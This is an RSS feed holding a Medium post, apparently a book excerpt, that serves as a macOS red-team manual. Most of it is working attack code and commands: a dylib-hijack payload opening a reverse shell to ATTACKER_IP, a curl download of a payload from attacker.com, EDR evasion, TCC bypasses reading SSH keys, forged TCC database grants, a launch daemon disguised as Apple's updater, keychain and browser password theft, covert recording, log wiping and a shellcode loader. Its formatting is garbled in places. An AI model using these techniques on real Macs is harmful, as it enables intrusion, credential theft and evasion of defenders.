<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Beta on Medium]]></title>
        <description><![CDATA[Stories by Beta on Medium]]></description>
        <link>https://medium.com/@riadh.marketing1?source=rss-ee105b36a0e1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*GXAdtC_pP1FttIRvtUWhWQ.jpeg</url>
            <title>Stories by Beta on Medium</title>
            <link>https://medium.com/@riadh.marketing1?source=rss-ee105b36a0e1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 09:43:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@riadh.marketing1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[macOS Red Teaming & Internals]]></title>
            <link>https://medium.com/@riadh.marketing1/macos-red-teaming-internals-39ba1eaee9bf?source=rss-ee105b36a0e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/39ba1eaee9bf</guid>
            <dc:creator><![CDATA[Beta]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 11:05:42 GMT</pubDate>
            <atom:updated>2026-07-16T11:05:42.808Z</atom:updated>
            <content:encoded><![CDATA[<h3>Chapter 1: macOS Security Architecture</h3><h3>1.1 The Apple Security Model</h3><p>macOS employs a layered security architecture that makes it fundamentally different from both Windows and Linux. Understanding these layers is critical for any macOS red team operator.</p><p><strong>Security Layers (Ring-like, but not hardware rings):</strong> User Space ├── App Sandbox ├── TCC (Transparency, Consent, Control) ├── Notarization / Gatekeeper ├── Hardened Runtime / Library Validation ├── AMFI (Apple Mobile File Integrity) └── SIP (System Integrity Protection) └── Kernel (XNU)</p><h3>1.2 SIP — System Integrity Protection</h3><p>SIP (csrutil) protects system files from modification even by root. It creates a sandbox around the system volume.</p><pre># Check SIP status<br>csrutil status<br># Output: System Integrity Protection status: enabled.</pre><pre># Check individual SIP flags (on M1/M2 with macOS 12+)<br>csrutil status --with-full<br># Output includes: Apple Internal, Kext Signing, Filesystem Protections, etc.</pre><pre># Disable SIP (requires recoveryOS):<br># 1. Reboot into Recovery (hold Cmd+R on Intel, hold power on Apple Silicon)<br># 2. Terminal -&gt; csrutil disable<br># 3. Reboot</pre><p><strong>SIP-protected paths (read-only, even for root):</strong> — /System - /usr (except /usr/local) - /bin - /sbin - /etc (actually a symlink to /private/etc — SIP protects the real path)</p><p><strong>Bypassing SIP restrictions:</strong> — SIP only protects specific paths. Writing to /usr/local, /Library, ~/Library is allowed. - SIP can be temporarily disabled in Recovery mode (requires physical access or MDM push) - Some SIP bypasses use the NFS or smb mount tricks to overwrite protected files via volume mounts</p><h3>1.3 AMFI — Apple Mobile File Integrity</h3><p>AMFI is the kernel-level component that enforces code signing. It verifies: — All executables must have a valid code signature — The signature must chain back to Apple’s root certificate — The code must not be tampered with (hash validation)</p><pre># Check code signing status<br>codesign -dv /path/to/binary</pre><pre># Display signing info<br>codesign -dvvv /Applications/Safari.app</pre><pre># Check if binary is notarized<br>spctl --assess --verbose /path/to/binary</pre><pre># Disable AMFI check (requires SIP disabled + boot-arg):<br># sudo nvram boot-args=&quot;amfi_get_out_of_my_way=1&quot;<br># Reboot required</pre><h3>1.4 Gatekeeper &amp; Notarization</h3><p>Gatekeeper ensures only trusted software runs: — <strong>Notarization:</strong> Developer uploads binary to Apple for scanning — <strong>Gatekeeper:</strong> On execution, checks notarization ticket — <strong>Quarantine:</strong> Extended attributes mark downloaded files</p><pre># Check quarantine attribute<br>xattr -l /path/to/downloaded_app.app<br># Output: com.apple.quarantine</pre><pre># Remove quarantine (bypass Gatekeeper for a specific app)<br>xattr -d com.apple.quarantine /path/to/app.app</pre><pre># Global Gatekeeper disable:<br>sudo spctl --master-disable</pre><pre># Check Gatekeeper status<br>spctl --status</pre><p><strong>Bypass techniques:</strong> ```bash</p><h3>Zip the app before downloading — quarantine applies to the zip, not the extracted app</h3><h3>Or use curl with user-agent spoofing:</h3><p>curl -L -A “Mozilla/5.0 (Macintosh; Intel Mac OS X 10<em>15</em>7) AppleWebKit/537.36” \ -o payload.zip <a href="http://attacker.com/payload.zip">http://attacker.com/payload.zip</a></p><h3>Ad-hoc signing (if SIP is disabled):</h3><p>codesign -f -s — /path/to/payload.dylib ```</p><h3>1.5 Hardened Runtime &amp; Library Validation</h3><p>Hardened Runtime is a code signing option that enables runtime security features:</p><pre># Check if a binary has Hardened Runtime<br>codesign -d -vvv /path/to/binary | grep runtime</pre><pre># Disable Library Validation for a specific app (if you have control over it):<br># This allows loading arbitrary dylibs</pre><h3>Chapter 2: Mach-O Binary Format</h3><h3>2.1 Mach-O Structure</h3><p>The Mach-O format is macOS’s equivalent of PE (Windows) or ELF (Linux). Understanding it is essential for code injection and binary manipulation.</p><pre>Mach-O File Layout:<br>┌─────────────────────────┐<br>│ Mach Header (64 bytes)  │  — fat header for universal binaries<br>├─────────────────────────┤<br>│ Load Commands           │  — segment definitions, dependency info<br>│   ├─ LC_SEGMENT_64      │  — defines __TEXT, __DATA, __LINKEDIT<br>│   ├─ LC_LOAD_DYLIB      │  — dynamic library dependency<br>│   ├─ LC_MAIN            │  — entry point<br>│   └─ LC_CODE_SIGNATURE  │  — embedded code signature<br>├─────────────────────────┤<br>│ Segments                │<br>│   ├─ __TEXT (RX)        │  — executable code, read-only data<br>│   │   ├─ __text         │  — compiled machine code<br>│   │   ├─ __const        │  — constant data<br>│   │   ├─ __cstring      │  — C string literals<br>│   │   └─ __stubs        │  — dyld stub code<br>│   ├─ __DATA (RW)        │  — writable data<br>│   │   ├─ __data         │  — initialized global variables<br>│   │   ├─ __bss          │  — zero-initialized data<br>│   │   ├─ __la_symbol_ptr│  — lazy symbol pointers<br>│   │   └─ __nl_symbol_ptr│  — non-lazy symbol pointers<br>│   └─ __LINKEDIT         │  — linker metadata, symbol table<br>└─────────────────────────┘</pre><p><strong>Parsing Mach-O with Python:</strong> ```python import struct</p><p>def parse<em>mach</em>header(data): if data[:4] == b’\xfe\xed\xfa\xce’: # MH<em>MAGIC (32-bit) header</em>format = ‘&lt;IiiII’ elif data[:4] == b’\xfe\xed\xfa\xcf’: # MH<em>MAGIC</em>64 (64-bit) header_format = ‘&lt;IiiII’ else: raise ValueError(“Not a valid Mach-O”)</p><pre>magic, cputype, cpusubtype, filetype, ncmds = struct.unpack_from(<br>    header_format, data, 0)<br>return {<br>    &#39;magic&#39;: hex(magic),<br>    &#39;cpu_type&#39;: cputype,<br>    &#39;cpu_subtype&#39;: cpusubtype,<br>    &#39;file_type&#39;: filetype,<br>    &#39;num_commands&#39;: ncmds<br>}</pre><pre>**Universal (Fat) Binaries:**<br>```bash<br># Check if binary is universal (x86_64 + arm64)<br>file /Applications/Safari.app/Contents/MacOS/Safari<br># Output: ... Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit...] [arm64:Mach-O 64-bit...]</pre><pre># List architectures in a fat binary<br>lipo -info /path/to/binary</pre><pre># Extract specific architecture<br>lipo -thin arm64 /path/to/universal_binary -output /path/to/thin_binary</pre><pre># Create fat binary from two thin binaries<br>lipo -create -output universal_binary x86_binary arm64_binary</pre><h3>2.2 Dylib Hijacking</h3><p>Dylibs are macOS’s equivalent of DLLs. Dylib hijacking exploits the search order and weak linking to load a malicious library.</p><p><strong>Dylib search order:</strong> 1. LD_LIBRARY_PATH (environment variable) 2. DYLD_INSERT_LIBRARIES (environment variable — disabled by SIP/Hardened Runtime) 3. DYLD_FALLBACK_LIBRARY_PATH (fallback paths) 4. @rpath, @executable_path, @loader_path (runtime paths)</p><pre># Check a binary&#39;s dylib dependencies<br>otool -L /path/to/binary<br># Output:<br>#   /usr/lib/libSystem.B.dylib<br>#   @rpath/libFoo.dylib<br>#   /usr/lib/libc++.1.dylib</pre><pre># Check runtime search paths<br>otool -l /path/to/binary | grep -A2 LC_RPATH</pre><p><strong>Exploitable weakness — Missing dylib with weak linking:</strong> ```bash</p><h3>Scan for vulnerable binaries — dylibs loaded with @rpath/@loader_path</h3><h3>that don’t exist on the system</h3><h3>Use this bash one-liner to find hijackable binaries:</h3><p>find /Applications -name “<em>.app” -exec sh -c ‘otool -L “$1/Contents/MacOS/”</em> 2&gt;/dev/null | grep “@rpath|@loader_path” &amp;&amp; echo “Found in: $1”’ _ {} \; ```</p><p><strong>Creating a hijacking dylib:</strong> ```c // hijack.c — compiled to replace a missing @rpath dylib // gcc -shared -o libFoo.dylib hijack.c -framework Foundation</p><h3>include</h3><h3>include</h3><p>// Constructor — runs when dylib is loaded <strong>attribute</strong>((constructor)) void hijack_init() { // Execute payload NSLog(@”[+] Dylib hijack loaded from %s”, <strong>FILE</strong>);</p><pre>// Spawn reverse shell<br>system(&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1&#39;&quot;);</pre><p>}</p><p>// Optionally forward to original functionality // typedef void (*orig<em>func</em>t)(void); // void original<em>function() { // static dispatch</em>once<em>t once; // dispatch</em>once(&amp;once, ^{ // void *handle = dlopen(“/path/to/original.dylib”, RTLD<em>LAZY); // orig</em>func = dlsym(handle, “original<em>function”); // }); // orig</em>func(); // } ```</p><h3>2.3 Dylib Injection via DYLDINSERTLIBRARIES</h3><pre># If SIP is disabled or the binary has weaker protections:<br>DYLD_INSERT_LIBRARIES=/path/to/payload.dylib /path/to/target_binary</pre><pre># Check if a binary allows this:<br># Look for the &quot;restrict&quot; flag in load commands<br># Binaries with `LC_DYLD_ENVIRONMENT` or hardened runtime block this</pre><h3>2.4 Mach-O Code Injection (Direct)</h3><pre>// Direct Mach-O injection — add a new load command + dylib path</pre><pre>#include &lt;mach-o/loader.h&gt;<br>#include &lt;mach-o/fat.h&gt;<br>#include &lt;fcntl.h&gt;<br>#include &lt;sys/mman.h&gt;</pre><pre>int inject_dylib(const char *binary_path, const char *dylib_path) {<br>    int fd = open(binary_path, O_RDWR);<br>    struct stat st;<br>    fstat(fd, &amp;st);<br>    <br>    uint8_t *data = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE,<br>                         MAP_SHARED, fd, 0);<br>    <br>    struct mach_header_64 *header = (struct mach_header_64 *)data;<br>    <br>    // Add a new LC_LOAD_DYLIB command<br>    // 1. Calculate new command size<br>    // 2. Insert dylib path + command structure<br>    // 3. Update header-&gt;ncmds<br>    // 4. Re-sign the binary<br>    <br>    munmap(data, st.st_size);<br>    close(fd);<br>    return 0;<br>}</pre><h3>Chapter 3: ESF — Endpoint Security Framework</h3><h3>3.1 ESF Architecture</h3><p>Apple’s Endpoint Security Framework (ESF) is the primary mechanism for security products on macOS (replacing kernel extensions/KEXTs). It’s a userspace framework that receives notifications about system events.</p><p><strong>ESF Capabilities (what it can monitor):</strong> — Process execution (exec, spawn, fork) — File operations (create, open, unlink, rename, close) — Network events (connect, listen, accept, data flow) — Keystroke events — Login/logout events — Mount operations — Signal delivery — Code signing verification events</p><pre>// ESF client registration (minimal example)<br>#include &lt;EndpointSecurity/EndpointSecurity.h&gt;</pre><pre>int main() {<br>    es_client_t *client = NULL;<br>    <br>    // Create ES client (requires entitlements)<br>    es_new_client(&amp;client, ^(es_client_t *cl, const es_message_t *msg) {<br>        switch (msg-&gt;event_type) {<br>        case ES_EVENT_TYPE_NOTIFY_EXEC:<br>            // Log process execution<br>            const char *path = msg-&gt;event.exec.target-&gt;executable-&gt;path.data;<br>            printf(&quot;Process executed: %s\n&quot;, path);<br>            break;<br>        case ES_EVENT_TYPE_NOTIFY_OPEN:<br>            // Log file opens<br>            break;<br>        default:<br>            break;<br>        }<br>    });<br>    <br>    // Subscribe to events<br>    es_event_type_t events[] = {<br>        ES_EVENT_TYPE_NOTIFY_EXEC,<br>        ES_EVENT_TYPE_NOTIFY_OPEN,<br>        ES_EVENT_TYPE_NOTIFY_CONNECT,<br>    };<br>    <br>    es_subscribe(client, events, sizeof(events) / sizeof(events[0]));<br>    <br>    // Run loop<br>    dispatch_main();<br>    return 0;<br>}</pre><p><strong>ESF Limitations for defenders (attacker’s advantage):</strong> — ESF only monitors subscribed events — it cannot block all operations — ESF callbacks can be overwhelmed (DoS the monitoring agent) — ESF events can be bypassed by direct syscalls in some cases — ESF cannot monitor kernel-level operations (eBPF on Linux equivalent doesn’t exist on macOS)</p><h3>3.2 ESF Bypass — Event Flooding</h3><pre>// Overwhelm ESF by flooding events<br>// ESF uses a shared event queue — if it fills up, events are dropped</pre><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/wait.h&gt;</pre><pre>void flood_esf() {<br>    while (1) {<br>        pid_t pid = fork();<br>        if (pid == 0) {<br>            // Child — do nothing, just exit (generates exec + exit events)<br>            exit(0);<br>        } else {<br>            waitpid(pid, NULL, 0);<br>            // Each fork/exec/exit generates 5+ ESF events<br>            // This can saturate the ESF queue<br>        }<br>    }<br>}</pre><h3>3.3 ESF Bypass — Direct Syscalls</h3><p>macOS EDR products (CrowdStrike, SentinelOne, Microsoft Defender for Mac) use ESF hooks. By using direct syscalls instead of the libSystem wrappers, you bypass the ESF notification path:</p><pre>// Bypass ESF monitoring by using direct syscalls<br>// macOS syscall number for open: 5</pre><pre>#include &lt;sys/syscall.h&gt;<br>#include &lt;unistd.h&gt;</pre><pre>// Direct syscall to open a file without notifying ESF<br>int open_no_esf(const char *path, int flags) {<br>    // syscall(SYS_open, path, flags, mode);<br>    return syscall(SYS_open, path, flags, 0);<br>}</pre><pre>// Direct execve:<br>int execve_no_esf(const char *path, char *const argv[], char *const envp[]) {<br>    return syscall(SYS_execve, path, argv, envp);<br>}</pre><pre>// Note: On newer macOS versions, Apple monitors direct syscalls<br>// via additional mechanisms. This technique works best on macOS ≤ 13.</pre><h3>3.4 ESF Bypass — Privileged Helper Tool Abuse</h3><p>Many ESF-based security products install privileged helper tools (XPC services). These run as root and can be targeted:</p><pre># Find ESF product privilege tools<br>find /Library/Application\ Support -name &quot;*.xpc&quot; -o -name &quot;*Helper*&quot;<br>ps aux | grep -i &quot;esf\|sentinel\|crowdstrike\|falcon&quot;</pre><pre># Abuse XPC interface to disable monitoring<br># Each product has its own XPC service — reverse engineer to find disable method</pre><h3>3.5 ESF Bypass — Kernel Extension (KEXT) Loading</h3><p>On macOS 11+, KEXTs are deprecated but still functional with SIP disabled:</p><pre># Load a custom KEXT that interferes with ESF<br># Requires SIP disabled and Apple Silicon Mac in reduced security mode<br>sudo kextload /path/to/custom.kext</pre><pre># List loaded KEXTs<br>kextstat | grep -v com.apple</pre><h3>Chapter 4: TCC Abuse — Bypassing Privacy Controls</h3><h3>4.1 Understanding TCC</h3><p>TCC (Transparency, Consent, and Control) is macOS’s privacy permission system. It controls access to: — Camera, Microphone, Screen Recording — Full Disk Access, Accessibility — Files (Desktop, Documents, Downloads) — Location, Contacts, Calendars, Photos — Input Monitoring</p><p><strong>TCC Database:</strong> ```bash</p><h3>TCC database location</h3><h3>System-wide: /Library/Application Support/com.apple.TCC/TCC.db</h3><h3>Per-user: ~/Library/Application Support/com.apple.TCC/TCC.db</h3><h3>Check TCC permissions for an app</h3><p>sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \ “SELECT * FROM access WHERE client=’com.example.app’;”</p><h3>TCC services keys:</h3><h3>kTCCServiceCamera, kTCCServiceMicrophone</h3><h3>kTCCServiceScreenCapture, kTCCServiceFullDiskAccess</h3><h3>kTCCServiceAccessibility, kTCCServicePostEvent</h3><h3>kTCCServiceLiverpool (location), kTCCServiceAddressBook</h3><pre>### 4.2 TCC Bypass — CVE Style Attacks</pre><pre>**Classic TCC bypass techniques:**</pre><pre>```bash<br># 1. Abuse com.apple.Terminal or com.apple.finder<br># These may already have TCC permissions<br>codesign -d -r- /Applications/Utilities/Terminal.app<br># Output: designated requirement: identifier &quot;com.apple.Terminal&quot; ...</pre><pre># 2. Symlink attack — link TCC-protected file to world-readable location<br>ln -s ~/Library/Messages/chat.db /tmp/messages_db</pre><pre># 3. Accessibility API abuse<br># If Terminal.app has Accessibility permission, it can control other apps<br># Run AppleScript to control a permitted app:<br>osascript -e &#39;tell application &quot;Terminal&quot; to do script &quot;cat ~/.ssh/id_rsa&quot;&#39;</pre><h3>4.3 TCC Bypass — DYLD_INSERT + TCC Injection</h3><pre>// If any app has Full Disk Access, inject a dylib to inherit that access</pre><pre>// Step 1: Find an app with FDA<br>// Step 2: Inject payload dylib via DYLD_INSERT_LIBRARIES<br>// Step 3: Inherited TCC access allows reading all files</pre><pre>// inject_fda.m<br>__attribute__((constructor))<br>void tcc_inherit() {<br>    // We now have the TCC permissions of the host app<br>    // Read files that would otherwise be blocked<br>    NSError *error = nil;<br>    NSString *content = [NSString stringWithContentsOfFile:@&quot;/Users/victim/.ssh/id_rsa&quot;<br>                                                 encoding:NSUTF8StringEncoding<br>                                                    error:&amp;error];<br>    if (content) {<br>        // Exfiltrate the content<br>        // ...<br>    }<br>}</pre><h3>4.4 TCC Bypass — M1/M2 Direct Memory Access</h3><p>On Apple Silicon, there’s no DMA-based bypass for TCC (unlike some Intel Mac methods). However:</p><pre># On Intel Macs with SIP disabled:<br># Direct I/O port access to read camera/mic without TCC<br># This doesn&#39;t work on Apple Silicon</pre><pre># Apple Silicon approach: Use CGSNewDisplayStream<br># But this requires Screen Recording permission</pre><h3>4.5 TCC Persistence — Granting Yourself Permission</h3><pre>// If you have root + SIP disabled, you can directly modify the TCC database</pre><pre>// add_tcc_entry.m<br>#import &lt;Foundation/Foundation.h&gt;</pre><pre>int main(int argc, const char * argv[]) {<br>    @autoreleasepool {<br>        NSString *dbPath = @&quot;/Library/Application Support/com.apple.TCC/TCC.db&quot;;<br>        <br>        // Open TCC database<br>        sqlite3 *db;<br>        sqlite3_open([dbPath UTF8String], &amp;db);<br>        <br>        // Insert TCC permission for our payload<br>        NSString *sql = @&quot;INSERT OR REPLACE INTO access VALUES(&quot;<br>            &quot;&#39;kTCCServiceFullDiskAccess&#39;, &quot;   // service<br>            &quot;&#39;com.example.payload&#39;, &quot;         // client<br>            &quot;0, &quot;                              // client_type (0=bundle)<br>            &quot;1, &quot;                              // allowed (1=yes)<br>            &quot;1, &quot;                              // prompt_count<br>            &quot;0, &quot;                              // mtime<br>            &quot;NULL, &quot;                           // via_auth<br>            &quot;0, &quot;                              // auth_value<br>            &quot;0, &quot;                              // auth_reason<br>            &quot;&#39;UNUSED&#39;, &quot;                       // auth_reason_desc<br>            &quot;0, &quot;                              // csreq<br>            &quot;NULL);&quot;;                           // policy_id<br>        <br>        sqlite3_exec(db, [sql UTF8String], NULL, NULL, NULL);<br>        sqlite3_close(db);<br>    }<br>    return 0;<br>}</pre><h3>Chapter 5: macOS Persistence</h3><h3>5.1 Launch Agents &amp; Daemons</h3><p>The primary persistence mechanism on macOS:</p><pre># User-level (runs as user)<br>~/Library/LaunchAgents/          # Loaded on user login</pre><pre># System-level (runs as root)<br>/Library/LaunchAgents/           # Loaded on user login (runs as root)<br>/Library/LaunchDaemons/          # Loaded at boot (runs as root)<br>/System/Library/LaunchAgents/    # Apple system (SIP protected)<br>/System/Library/LaunchDaemons/   # Apple system (SIP protected)</pre><pre>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br>&lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot;<br>  &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&gt;<br>&lt;plist version=&quot;1.0&quot;&gt;<br>&lt;dict&gt;<br>    &lt;key&gt;Label&lt;/key&gt;<br>    &lt;string&gt;com.apple.softwareupdate&lt;/string&gt;<br>    &lt;key&gt;ProgramArguments&lt;/key&gt;<br>    &lt;array&gt;<br>        &lt;string&gt;/usr/libexec/.systemupdate&lt;/string&gt;<br>        &lt;string&gt;--daemon&lt;/string&gt;<br>    &lt;/array&gt;<br>    &lt;key&gt;RunAtLoad&lt;/key&gt;<br>    &lt;true/&gt;<br>    &lt;key&gt;StartInterval&lt;/key&gt;<br>    &lt;integer&gt;3600&lt;/integer&gt;<br>    &lt;key&gt;KeepAlive&lt;/key&gt;<br>    &lt;false/&gt;<br>    &lt;key&gt;WatchPaths&lt;/key&gt;<br>    &lt;array&gt;<br>        &lt;string&gt;/Library/Preferences/SystemConfiguration&lt;/string&gt;<br>    &lt;/array&gt;<br>&lt;/dict&gt;<br>&lt;/plist&gt;</pre><pre># Load a launch agent<br>launchctl load ~/Library/LaunchAgents/com.apple.softwareupdate.plist</pre><pre># Start immediately without loading<br>launchctl start com.apple.softwareupdate</pre><pre># Unload<br>launchctl unload ~/Library/LaunchAgents/com.apple.softwareupdate.plist</pre><pre># List user launch agents<br>launchctl list</pre><pre># Check if running<br>launchctl print gui/$(id -u)/com.apple.softwareupdat</pre><h3>5.2 Cron and At Jobs</h3><pre># Cron persistence<br>(crontab -l 2&gt;/dev/null; echo &quot;*/5 * * * * /path/to/payload&quot;) | crontab -</pre><pre># At job (one-shot, future execution)<br>echo &quot;/path/to/payload&quot; | at now + 1 minute</pre><h3>5.3 Login Items &amp; Profiles</h3><pre># Add login item via AppleScript<br>osascript -e &#39;tell application &quot;System Events&quot; to make login item at end with properties {path:&quot;/path/to/payload&quot;, hidden:true}&#39;</pre><pre># Configuration Profile (MDM-level persistence)<br># Create a .mobileconfig that installs a launch agen</pre><h3>5.4 Dyld Shared Cache Replacement</h3><p>Advanced persistence targeting dyld shared cache (requires SIP disabled + root):</p><pre># The dyld shared cache contains common system libraries<br># Pre-loaded into memory for performance<br># Located: /System/Library/dyld/dyld_shared_cache_*</pre><pre># If SIP is disabled, you can modify entries in the cache<br># This makes every process on the system load your code</pre><h3>Chapter 6: macOS Post-Exploitation</h3><h3>6.1 Keychain Extraction</h3><pre># Dump keychain (requires user password or TCC bypass)<br>security dump-keychain -d login.keychain</pre><pre># Dump specific items<br>security find-generic-password -s &quot;ServiceName&quot; -w</pre><pre># Keychain location: ~/Library/Keychains/login.keychain-db</pre><h3>6.2 Password Extraction from Safari/Chrome</h3><pre># Safari passwords (requires TCC bypass)<br># Location: ~/Library/Safari/auto-save-passwords<br># Encrypted with user&#39;s login keychain</pre><pre># Chrome passwords<br># Location: ~/Library/Application Support/Google/Chrome/Default/Login Data<br># Encrypted with Chrome&#39;s Safe Storage key<br>security find-generic-password -a Chrome -s &quot;Chrome Safe Storage&quot; -w</pre><h3>6.3 SSH Key Theft</h3><pre># SSH keys — classic target<br>cat ~/.ssh/id_rsa<br>cat ~/.ssh/id_ed25519<br># Note: SSH keys may be passphrase-protected, but often not</pre><h3>6.4 Microphone &amp; Camera Access</h3><pre>// Record microphone (requires TCC microphone permission)<br>// Using AVFoundation framework</pre><pre>#import &lt;AVFoundation/AVFoundation.h&gt;</pre><pre>void record_mic() {<br>    AVAudioSession *session = [AVAudioSession sharedInstance];<br>    [session setCategory:AVAudioSessionCategoryRecord error:nil];<br>    [session setActive:YES error:nil];<br>    <br>    NSURL *url = [NSURL fileURLWithPath:@&quot;/tmp/.recording.wav&quot;];<br>    NSDictionary *settings = @{<br>        AVFormatIDKey: @(kAudioFormatLinearPCM),<br>        AVSampleRateKey: @44100.0,<br>        AVNumberOfChannelsKey: @1,<br>    };<br>    <br>    AVAudioRecorder *recorder = [[AVAudioRecorder alloc]<br>        initWithURL:url settings:settings error:nil];<br>    [recorder record];</pre><h3>6.5 Screenshot Capture</h3><pre>// Screenshot (requires Screen Recording permission)</pre><pre>#import &lt;Cocoa/Cocoa.h&gt;</pre><pre>void capture_screen() {<br>    CGImageRef image = CGDisplayCreateImage(CGMainDisplayID());<br>    NSBitmapImageRep *rep = [[NSBitmapImageRep alloc] initWithCGImage:image];<br>    NSData *data = [rep representationUsingType:NSJPEGFileType properties:@{}];<br>    [data writeToFile:@&quot;/tmp/.screenshot.jpg&quot; atomically:YES];<br>    CGImageRelease(image);<br>}</pre><h3>Chapter 7: Detection &amp; Forensics</h3><h3>7.1 Detecting macOS Malware</h3><pre># Check for suspicious launch agents/daemons<br>launchctl list | grep -v com.apple</pre><pre># Check for unauthorized TCC entries<br>sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \<br>  &quot;SELECT * FROM access WHERE allowed=1 AND client LIKE &#39;%UNSAFE%&#39;;&quot;</pre><pre># Check for unauthorized kernel extensions<br>kextstat | grep -v com.apple</pre><pre># Check quarantine attributes<br>find ~/Downloads -type f -exec xattr -l {} \; 2&gt;/dev/null</pre><pre># Monitor for DYLD_INSERT_LIBRARIES abuse<br>ps aux | grep DYLD_INSERT_LIBRARIES</pre><pre># Check for unusual Launch Daemons<br>ls -la /Library/LaunchDaemons/<br>ls -la ~/Library/LaunchAgents/</pre><h3>7.2 macOS Forensic Artifacts</h3><pre># Unified Log — primary forensic source<br>log show --predicate &#39;eventMessage contains &quot;DYLD&quot;&#39;<br>log show --predicate &#39;eventMessage contains &quot;TCC&quot;&#39;<br>log show --predicate &#39;process contains &quot;launchd&quot;&#39; --last 1h</pre><pre># KnowledgeC database — user activity<br># ~/Library/Application Support/Knowledge/knowledgeC.db<br>sqlite3 ~/Library/Application\ Support/Knowledge/knowledgeC.db \<br>  &quot;SELECT * FROM ZOBJECT WHERE ZSTART &gt; ZOBJECT;&quot;</pre><pre># Recent items<br>plutil -p ~/Library/Preferences/com.apple.recentitems.plist</pre><pre># Spotlight metadata<br>mdls /path/to/suspicious/file</pre><h3>7.3 Forensic Countermeasures</h3><pre># Clear unified log (requires SIP disable)<br>sudo log erase --all  # Erases all logs</pre><pre># Disable log collection<br>sudo log config --mode &quot;level:off&quot; --subsystem com.example.app</pre><pre># Anti-forensics: Overwrite TCC.db entries<br># Use memory-only payloads (no disk writes)</pre><pre># Clear recent items<br>rm ~/Library/Preferences/com.apple.recentitems.plist</pre><pre># Disable crash reporting<br>defaults write com.apple.CrashReporter DialogType non</pre><h3>Chapter 8: Apple Silicon Deep Dive</h3><h3>8.1 ARM64 Memory Model on Apple Silicon</h3><p>Apple Silicon (M1, M2, M3, M4) implements a strict W^X (Write XOR Execute) memory policy enforced at the hardware level. This is fundamentally different from Intel Macs where RWX memory pages are permitted.</p><p><strong>W^X Constraint:</strong> Intel Mac (x86_64): Apple Silicon (ARM64): ───────────────────── ────────────────────────── mmap RWX: [OK] mmap RWX: [FAIL] (EACCES) RW -&gt; RX: [OK] RW -&gt; RX: [OK] RX -&gt; RW: [OK] RX -&gt; RW: [FAIL] (once RX, never RW again) RWX via mprotect: [OK] RWX via mprotect: [FAIL]</p><pre>// This WILL FAIL on Apple Silicon:<br>void *mem = mmap(NULL, size,<br>    PROT_READ | PROT_WRITE | PROT_EXEC,  // RWX<br>    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);<br>// Returns MAP_FAILED, errno = EACCES (13)</pre><pre>// This is the correct approach:<br>void *mem = mmap(NULL, size,<br>    PROT_READ | PROT_WRITE,   // Allocate as RW<br>    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);<br>memcpy(mem, shellcode, size);<br>mprotect(mem, size, PROT_READ | PROT_EXEC);  // Change to RX</pre><h3>8.2 JIT Write Protection API</h3><p>Apple provides pthread_jit_write_protect_np() for Just-In-Time compilation. This API is essential for shellcode loaders on Apple Silicon:</p><pre>#include &lt;pthread.h&gt;<br>#include &lt;sys/mman.h&gt;<br>#include &lt;libkern/OSCacheControl.h&gt;</pre><pre>int jit_write_protection(int enable) {<br>    // Disable JIT write protection to modify code pages<br>    pthread_jit_write_protect_np(enable ? 0 : 1);<br>    return 0;<br>}</pre><pre>void *allocate_and_execute_arm64_shellcode(void *shellcode, size_t size) {<br>    // Step 1: Allocate RW memory<br>    void *mem = mmap(NULL, size,<br>                     PROT_READ | PROT_WRITE,<br>                     MAP_PRIVATE | MAP_ANONYMOUS,<br>                     -1, 0);<br>    if (mem == MAP_FAILED) return NULL;</pre><pre>// Step 2: Copy shellcode<br>    memcpy(mem, shellcode, size);</pre><pre>// Step 3: Disable JIT protection (required for writing to executable pages)<br>    pthread_jit_write_protect_np(0);</pre><pre>// Step 4: Flush ARM64 instruction and data caches<br>    // This is critical — ARM64 has separate I-cache and D-cache<br>    sys_dcache_flush(mem, size);<br>    sys_icache_invalidate(mem, size);</pre><pre>// Step 5: Change protection to RX<br>    mprotect(mem, size, PROT_READ | PROT_EXEC);</pre><pre>// Step 6: Re-enable JIT protection<br>    pthread_jit_write_protect_np(1);</pre><pre>// Step 7: Execute<br>    void (*code)(void) = mem;<br>    code();</pre><pre>return mem;<br>}</pre><p><strong>Entitlement requirement:</strong> ```xml com.apple.security.cs.allow-jit</p><ul><li>This is a small part of Module 7: macOS Red Teaming &amp; Internals from my book, Be The Next Beta.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*wSY0Z3hwucAAVyJJO2kxjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*FuKDBC7uecWY_ifg-JffUA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39ba1eaee9bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GPU Architecture for Offensive Purposes]]></title>
            <link>https://medium.com/@riadh.marketing1/gpu-architecture-for-offensive-purposes-d2c1287736fd?source=rss-ee105b36a0e1------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2c1287736fd</guid>
